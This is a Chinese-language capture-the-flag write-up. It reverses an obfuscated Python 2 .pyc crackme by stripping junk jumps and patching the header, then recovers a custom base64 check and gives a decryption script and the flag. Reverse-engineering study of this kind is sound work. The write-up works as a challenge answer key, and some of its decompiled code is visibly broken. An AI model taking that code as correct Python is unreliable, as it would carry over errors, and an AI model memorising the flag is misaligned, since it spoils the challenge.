191     LOAD_CONST               11: 18
194     BUILD_LIST               4
197     GET_ITER
198     FOR_ITER                 23 (to 224)
201     STORE_FAST               7: x
204     LOAD_FAST                6: temp_str
207     LOAD_FAST                7: x
210     LOAD_FAST                7: x
213     LOAD_CONST               9: 6
216     BINARY_ADD
217     SLICE_3
218     LIST_APPEND              2
221     JUMP_ABSOLUTE            198
224     STORE_FAST               8: temp_str_list
227     BUILD_LIST               0
```

```
  230     LOAD_FAST                8: temp_str_list
  233     GET_ITER
  234     FOR_ITER                 21 (to 258)
  237     STORE_FAST               7: x
  240     LOAD_GLOBAL              7: int
  243     LOAD_FAST                7: x
  246     LOAD_CONST               12: 2
  249     CALL_FUNCTION            2
  252     LIST_APPEND              2
  255     JUMP_ABSOLUTE            234
  258     STORE_FAST               8: temp_str_list
  261     LOAD_FAST                4: equal_num
  264     POP_JUMP_IF_FALSE        287
  267     LOAD_FAST                8: temp_str_list
  270     LOAD_CONST               4: 0
  273     LOAD_CONST               13: 4
  276     LOAD_FAST                4: equal_num
  279     BINARY_SUBTRACT
  280     SLICE_3
  281     STORE_FAST               8: temp_str_list
  284     JUMP_FORWARD             0 (to 287)
  287     LOAD_FAST                3: output_str
  290     LOAD_CONST               3: ''
  293     LOAD_ATTR                6: join
  296     BUILD_LIST               0
  299     LOAD_FAST                8: temp_str_list
  302     GET_ITER
  303     FOR_ITER                 16 (to 322)
  306     STORE_FAST               7: x
  309     LOAD_GLOBAL              8: letters
  312     LOAD_FAST                7: x
  315     BINARY_SUBSCR
  316     LIST_APPEND              2
  319     JUMP_ABSOLUTE            303
  322     CALL_FUNCTION            1
  325     INPLACE_ADD
  326     STORE_FAST               3: output_str
  329     LOAD_FAST                2: str_ascii_list
  332     LOAD_CONST               5: 3
  335     SLICE_1
  336     STORE_FAST               2: str_ascii_list
  339     JUMP_ABSOLUTE            79
  342     POP_BLOCK
  343     LOAD_FAST                3: output_str
  346     LOAD_CONST               14: '='
  349     LOAD_FAST                4: equal_num
  352     BINARY_MULTIPLY
  353     BINARY_ADD
  354     STORE_FAST               3: output_str
  357     LOAD_FAST                3: output_str
  360     RETURN_VALUE
"Welcome to Processor's Python Classroom Part 3&4!\n"
'qi shi wo jiu shi lan cai ba liang dao ti fang zai yi qi.'
```

```
        "Now let's start the origin of Python!\n"
        'Plz Input Your Flag:\n'
        2
        0
        1
        ''
        "You're right! "
        "You're Wrong! "
    [Disassembly]
        0       JUMP_ABSOLUTE           3
        3       JUMP_ABSOLUTE           9
        6       LOAD_CONST              15: "You're Wrong! "
        9       JUMP_ABSOLUTE           14
        12      PRINT_ITEM
Error disassembling third.pyc: vector::_M_range_check: __n (which is 100) >= this->size()
(which is 16)
        13      LOAD_CONST              100:
```

有点多欸，没接触过，看不太懂

每条byte code结构大概只这样的：**源码行号 | 指令在函数中的偏移 | 指令符号 | 指令参数 | 实际参数值**

这程序开头就是一堆jump然后貌似jump出程序了一样，有毒，尝试着去掉

然后到了自学成才的截断，链接：https://blog.csdn.net/sgbfblog/article/details/45291969 关于Pyc格式解析的；https://blog.csdn.net/ir0nf1st/article/details/61962197 ；http://www.xumenger.com/01-python-pyc-20180521/ 关于JUMP_ABSOLUTE这类对应的16进制数的

你用hex editor 打开可以看见71 03 00 之类的就对应着0 JUMP_ABSOLUTE 3

把开头的两个JUMP删除，然后会跳出来

```
File  Edit  View  Search  Terminal  Help
xiaoyuyu@ubuntu:~/ctf_test/pycdc-master/pycdc$ ./pycdas third_2.pyc
CreateObject: Got unsupported type 0x7F
Error disassembling third_2.pyc: std::bad_cast
```

后来应该是删了不该删的吧，然后对照着之前最初的ERROR，先把size改到16以下

重新pycdas代码入下

```
third_2.pyc (Python 2.7)
[Code]
    File Name: third.py
    Object Name: <module>
    Arg Count: 0
    Locals: 0
    Stack Size: 5
    Flags: 0x00000040 (CO_NOFREE)
    [Names]
        'string'
        'list'
        'letters'
        'digits'
        'dec'
```

```
        'encode'
        'raw_input'
        'enc'
        'lst'
        'reverse'
        'len'
        'llen'
        'range'
        'i'
        'chr'
        'ord'
        'enc2'
        'join'
        'enc3'
    [Var Names]
    [Free Vars]
    [Cell Vars]
    [Constants]
        -1
        None
        '+'
        '/'
        'FcjTCgD1EffEm2rPC3bTyL5Wu2bKBI9KAZrwFgrUygHN'
        [Code]
            File Name: third.py
            Object Name: encode
            Arg Count: 1
            Locals: 9
            Stack Size: 7
            Flags: 0x00000043 (CO_OPTIMIZED | CO_NEWLOCALS | CO_NOFREE)
            [Names]
                'format'
                'str'
                'bin'
                'ord'
                'replace'
                'len'
                'join'
                'int'
                'letters'
            [Var Names]
                'input_str'
                'i'
                'str_ascii_list'
                'output_str'
                'equal_num'
                'temp_list'
                'temp_str'
                'x'
                'temp_str_list'
            [Free Vars]
            [Cell Vars]
            [Constants]
```

```
            None
            '{:0>8}'
            '0b'
            ''
            0
            3
            1
            '0'
            8
            6
            12
            18
            2
            4
            '='
            '00000000'
        [Disassembly]
            0       BUILD_LIST              0
            3       LOAD_FAST               0: input_str
            6       GET_ITER
            7       FOR_ITER                51 (to 61)
            10      STORE_FAST              1: i
            13      LOAD_CONST              1: '{:0>8}'
            16      LOAD_ATTR               0: format
            19      LOAD_GLOBAL             1: str
            22      LOAD_GLOBAL             2: bin
            25      LOAD_GLOBAL             3: ord
            28      LOAD_FAST               1: i
            31      CALL_FUNCTION           1
            34      CALL_FUNCTION           1
            37      CALL_FUNCTION           1
            40      LOAD_ATTR               4: replace
            43      LOAD_CONST              2: '0b'
            46      LOAD_CONST              3: ''
            49      CALL_FUNCTION           2
            52      CALL_FUNCTION           1
            55      LIST_APPEND             2
            58      JUMP_ABSOLUTE           7
            61      STORE_FAST              2: str_ascii_list
            64      LOAD_CONST              3: ''
            67      STORE_FAST              3: output_str
            70      LOAD_CONST              4: 0
            73      STORE_FAST              4: equal_num
            76      SETUP_LOOP              264 (to 343)
            79      LOAD_FAST               2: str_ascii_list
            82      POP_JUMP_IF_FALSE       342
            85      LOAD_FAST               2: str_ascii_list
            88      LOAD_CONST              5: 3
            91      SLICE_2
            92      STORE_FAST              5: temp_list
            95      LOAD_GLOBAL             5: len
            98      LOAD_FAST               5: temp_list
            101     CALL_FUNCTION           1
```

```
104     LOAD_CONST               5: 3
107     COMPARE_OP               3 (!=)
110     POP_JUMP_IF_FALSE        164
113     SETUP_LOOP               48 (to 164)
116     LOAD_GLOBAL              5: len
119     LOAD_FAST                5: temp_list
122     CALL_FUNCTION            1
125     LOAD_CONST               5: 3
128     COMPARE_OP               0 (<)
131     POP_JUMP_IF_FALSE        160
134     LOAD_FAST                4: equal_num
137     LOAD_CONST               6: 1
140     INPLACE_ADD
141     STORE_FAST               4: equal_num
144     LOAD_FAST                5: temp_list
147     LOAD_CONST               15: '00000000'
150     BUILD_LIST               1
153     INPLACE_ADD
154     STORE_FAST               5: temp_list
157     JUMP_ABSOLUTE            116
160     POP_BLOCK
161     JUMP_FORWARD             0 (to 164)
164     LOAD_CONST               3: ''
167     LOAD_ATTR                6: join
170     LOAD_FAST                5: temp_list
173     CALL_FUNCTION            1
176     STORE_FAST               6: temp_str
179     BUILD_LIST               0
182     LOAD_CONST               4: 0
185     LOAD_CONST               9: 6
188     LOAD_CONST               10: 12
191     LOAD_CONST               11: 18
194     BUILD_LIST               4
197     GET_ITER
198     FOR_ITER                 23 (to 224)
201     STORE_FAST               7: x
204     LOAD_FAST                6: temp_str
207     LOAD_FAST                7: x
210     LOAD_FAST                7: x
213     LOAD_CONST               9: 6
216     BINARY_ADD
217     SLICE_3
218     LIST_APPEND              2
221     JUMP_ABSOLUTE            198
224     STORE_FAST               8: temp_str_list
227     BUILD_LIST               0
230     LOAD_FAST                8: temp_str_list
233     GET_ITER
234     FOR_ITER                 21 (to 258)
237     STORE_FAST               7: x
240     LOAD_GLOBAL              7: int
243     LOAD_FAST                7: x
246     LOAD_CONST               12: 2
```

```
          249     CALL_FUNCTION           2
          252     LIST_APPEND             2
          255     JUMP_ABSOLUTE           234
          258     STORE_FAST              8: temp_str_list
          261     LOAD_FAST               4: equal_num
          264     POP_JUMP_IF_FALSE       287
          267     LOAD_FAST               8: temp_str_list
          270     LOAD_CONST              4: 0
          273     LOAD_CONST              13: 4
          276     LOAD_FAST               4: equal_num
          279     BINARY_SUBTRACT
          280     SLICE_3
          281     STORE_FAST              8: temp_str_list
          284     JUMP_FORWARD            0 (to 287)
          287     LOAD_FAST               3: output_str
          290     LOAD_CONST              3: ''
          293     LOAD_ATTR               6: join
          296     BUILD_LIST              0
          299     LOAD_FAST               8: temp_str_list
          302     GET_ITER
          303     FOR_ITER                16 (to 322)
          306     STORE_FAST              7: x
          309     LOAD_GLOBAL             8: letters
          312     LOAD_FAST               7: x
          315     BINARY_SUBSCR
          316     LIST_APPEND             2
          319     JUMP_ABSOLUTE           303
          322     CALL_FUNCTION           1
          325     INPLACE_ADD
          326     STORE_FAST              3: output_str
          329     LOAD_FAST               2: str_ascii_list
          332     LOAD_CONST              5: 3
          335     SLICE_1
          336     STORE_FAST              2: str_ascii_list
          339     JUMP_ABSOLUTE           79
          342     POP_BLOCK
          343     LOAD_FAST               3: output_str
          346     LOAD_CONST              14: '='
          349     LOAD_FAST               4: equal_num
          352     BINARY_MULTIPLY
          353     BINARY_ADD
          354     STORE_FAST              3: output_str
          357     LOAD_FAST               3: output_str
          360     RETURN_VALUE
"Welcome to Processor's Python Classroom Part 3&4!\n"
'qi shi wo jiu shi lan cai ba liang dao ti fang zai yi qi.'
"Now let's start the origin of Python!\n"
'Plz Input Your Flag:\n'
2
0
1
''
"You're right! "
```

```
        "You're Wrong! "
    [Disassembly]
        0       JUMP_ABSOLUTE           3
        3       JUMP_ABSOLUTE           9
        6       LOAD_CONST              15: "You're Wrong! "
        9       JUMP_ABSOLUTE           14
        12      PRINT_ITEM
        13      LOAD_CONST              9: 'Plz Input Your Flag:\n'
        16      STOP_CODE
        17      LOAD_CONST              1: None
        20      IMPORT_NAME             0: string
        23      STORE_NAME              0: string
        26      LOAD_NAME               1: list
        29      LOAD_NAME               0: string
        32      LOAD_ATTR               2: letters
        35      CALL_FUNCTION           1
        38      LOAD_NAME               1: list
        41      LOAD_NAME               0: string
        44      LOAD_ATTR               3: digits
        47      CALL_FUNCTION           1
        50      BINARY_ADD
        51      LOAD_CONST              2: '+'
        54      LOAD_CONST              3: '/'
        57      BUILD_LIST              2
        60      BINARY_ADD
        61      STORE_NAME              2: letters
        64      LOAD_CONST              4: 'FcjTCgD1EffEm2rPC3bTyL5Wu2bKBI9KAZrwFgrUygHN'
        67      STORE_NAME              4: dec
        70      LOAD_CONST              5: <CODE> encode
        73      MAKE_FUNCTION           0
        76      STORE_NAME              5: encode
        79      LOAD_CONST              6: "Welcome to Processor's Python Classroom Part
3&4!\n"
        82      PRINT_ITEM
        83      PRINT_NEWLINE
        84      LOAD_CONST              7: 'qi shi wo jiu shi lan cai ba liang dao ti
fang zai yi qi.'
        87      PRINT_ITEM
        88      PRINT_NEWLINE
        89      LOAD_CONST              8: "Now let's start the origin of Python!\n"
        92      PRINT_ITEM
        93      PRINT_NEWLINE
        94      LOAD_CONST              9: 'Plz Input Your Flag:\n'
        97      PRINT_ITEM
        98      PRINT_NEWLINE
        99      LOAD_NAME               6: raw_input
        102     CALL_FUNCTION           0
        105     STORE_NAME              7: enc
        108     LOAD_NAME               1: list
        111     LOAD_NAME               7: enc
        114     CALL_FUNCTION           1
        117     STORE_NAME              8: lst
        120     LOAD_NAME               8: lst
```

```
123     LOAD_ATTR               9: reverse
126     CALL_FUNCTION           0
129     POP_TOP
130     LOAD_NAME               10: len
133     LOAD_NAME               8: lst
136     CALL_FUNCTION           1
139     STORE_NAME              11: llen
142     SETUP_LOOP              99 (to 244)
145     LOAD_NAME               12: range
148     LOAD_NAME               11: llen
151     CALL_FUNCTION           1
154     GET_ITER
155     FOR_ITER                85 (to 243)
158     STORE_NAME              13: i
161     LOAD_NAME               13: i
164     LOAD_CONST              10: 2
167     BINARY_MODULO
168     LOAD_CONST              11: 0
171     COMPARE_OP              2 (==)
174     POP_JUMP_IF_FALSE       196
177     LOAD_NAME               14: chr
180     LOAD_NAME               15: ord
183     LOAD_NAME               8: lst
186     LOAD_NAME               13: i
189     BINARY_SUBSCR
190     CALL_FUNCTION           1
193     LOAD_CONST              10: 2
196     BINARY_SUBTRACT
197     CALL_FUNCTION           1
200     LOAD_NAME               8: lst
203     LOAD_NAME               13: i
206     STORE_SUBSCR
207     JUMP_FORWARD            0 (to 210)
210     LOAD_NAME               14: chr
213     LOAD_NAME               15: ord
216     LOAD_NAME               8: lst
219     LOAD_NAME               13: i
222     BINARY_SUBSCR
223     CALL_FUNCTION           1
226     LOAD_CONST              12: 1
229     BINARY_ADD
230     CALL_FUNCTION           1
233     LOAD_NAME               8: lst
236     LOAD_NAME               13: i
239     STORE_SUBSCR
240     JUMP_ABSOLUTE           141
243     POP_BLOCK
244     LOAD_CONST              13: ''
247     STORE_NAME              16: enc2
250     LOAD_NAME               16: enc2
253     LOAD_ATTR               17: join
256     LOAD_NAME               8: lst
259     CALL_FUNCTION           1
```

```
262     STORE_NAME              16: enc2
265     LOAD_NAME               5: encode
268     LOAD_NAME               16: enc2
271     CALL_FUNCTION           1
274     STORE_NAME              18: enc3
277     LOAD_NAME               18: enc3
280     LOAD_NAME               4: dec
283     COMPARE_OP              2 (==)
286     POP_JUMP_IF_FALSE       283
289     LOAD_CONST              14: "You're right! "
292     PRINT_ITEM
293     PRINT_NEWLINE
294     JUMP_FORWARD            5 (to 302)
297     LOAD_CONST              15: "You're Wrong! "
300     PRINT_ITEM
301     PRINT_NEWLINE
302     LOAD_CONST              1: None
305     RETURN_VALUE
```

但是依然不能uncompyle，还有问题，一开头的部分一大堆莫名其妙的jump，感觉会跳到程序快外，一些相关的部分也删除

找到了一个类似的文件头，可以当作例子，如下

分析pyc文件

以上面test.py为例，编译其得到的pyc文件内容为

```
00000000  03 f3 0d 0a c2 6a 02 5b  63 00 00 00 00 00 00 00  |.....j.[c.......|
00000010  00 01 00 00 00 40 00 00  00 73 27 00 00 00 64 00  |.....@...s'...d.|
00000020  00 5a 00 00 64 01 00 5a  01 00 64 02 00 84 00 00  |.Z..d..Z..d.....|
00000030  5a 02 00 65 02 00 83 00  00 5a 03 00 65 03 00 47  |Z..e.....Z..e..G|
00000040  48 64 03 00 53 28 04 00  00 00 74 06 00 00 00 73  |Hd..S(....t....s|
```

删掉之后还是不行，连pycdas都会报错，要慢慢改文件头了233

不知道该怎么和你解释，如下这块是源代码以及一些长度的细节

但是在字节长度的标识位上数字为0x132，我们删掉了一部分，要改为0x121，之后就可以反编译成python了，代码如下

```
import string
letters = list(string.letters) + list(string.digits) + ['+','/']  # 置换表被替换了
dec = 'FcjTCgD1EffEm2rPC3bTyL5Wu2bKBI9KAZrwFgrUygHN'

def encode(input_str):    # base64
    # continue
    # 对每一个字节取ascii数值或unicode数值，然后转换为2进制
    str_ascii_list = [ '{:0>8}'.format(str(bin(ord(i))).replace('0b', '')) for i in
input_str ]
    output_str = ''
    equal_num = 0
    for x in [0,6,12,18]:
```

```
        # continue
        # 三个8字节的二进制 转换为4个6字节的二进制
        temp_str_list = [][temp_str[x:x + 6]]
        # continue
    # 三个8字节的二进制 转换为4个6字节的二进制
    temp_str_list = [ int(x, 2) for x in temp_str_list ]
    # 判断是否为补齐的字符 做相应的处理
    if equal_num:
        temp_str_list = temp_str_list[0:4 - equal_num]
        # continue
        ''.join += []([ letters[x] for x in temp_str_list ])
        str_ascii_list = str_ascii_list[3:]
    output_str = output_str + '=' * equal_num
    return output_str

print "Welcome to Processor's Python Classroom Part 3&4!\n"
print 'qi shi wo jiu shi lan cai ba liang dao ti fang zai yi qi.'
print "Now let's start the origin of Python!\n"
print 'Plz Input Your Flag:\n'
enc = raw_input()
lst = list(enc)
lst.reverse()
llen = len(lst)
for i in range(llen):
    if i % 2 == 0:
        lst[i] = chr(ord(lst[i]) - 2)  # 奇数-2
    lst[i] = chr(ord(lst[i]) + 1)      # 偶数+1

enc2 = ''
enc2 = enc2.join(lst)
enc3 = encode(enc2)
if enc3 == dec:
    print "You're right! "
else:
    print "You're Wrong! "
```

解密脚本:

```
import string
import base64
letters = list(string.ascii_letters) + list(string.digits) + ['+', '/']
# print(letters)
dec = 'FcjTCgD1EffEm2rPC3bTyL5Wu2bKBI9KAZrwFgrUygHN'


def my_base64_decodestring(input_str):
    # 对每一个字节取索引，然后转换为2进制
    str_ascii_list = ['{:0>6}'.format(str(bin(letters.index(i))).replace('0b', '')) for
i in input_str if i != '=']
    output_str = ''
    equal_num = input_str.count('=')
    while str_ascii_list:
        temp_list = str_ascii_list[:4]
```

```
        temp_str = ''.join(temp_list)
        # 补够8位
        if len(temp_str) % 8 != 0:
            temp_str = temp_str[0:-1*equal_num*2]
        # 4个6字节的二进制  转换  为三个8字节的二进制
        temp_str_list = [temp_str[x:x+8] for x in [0, 8, 16]]
        # 二进制转为10进制
        temp_str_list = [int(x, 2) for x in temp_str_list if x]
        output_str += ''.join([chr(x) for x in temp_str_list])
        str_ascii_list = str_ascii_list[4:]
    # print(output_str)
    return output_str


print(my_base64_decodestring(dec))

dec3 = '|"mpguxQ^3dispmb^pS`dn/dk4V|dn`hg'

lst = []
for i in range(len(dec3)):
    if i % 2 == 0:
        lst.append(chr((ord(dec3[i]) + 1) % 256))
    else:
        lst.append(chr((ord(dec3[i]) - 1) % 256))

print(lst)
s = lst[len(lst)-1::-1]
print(s)
print(''.join(s))
# hgame{w3lcOme_To_anothe2_Python!}
```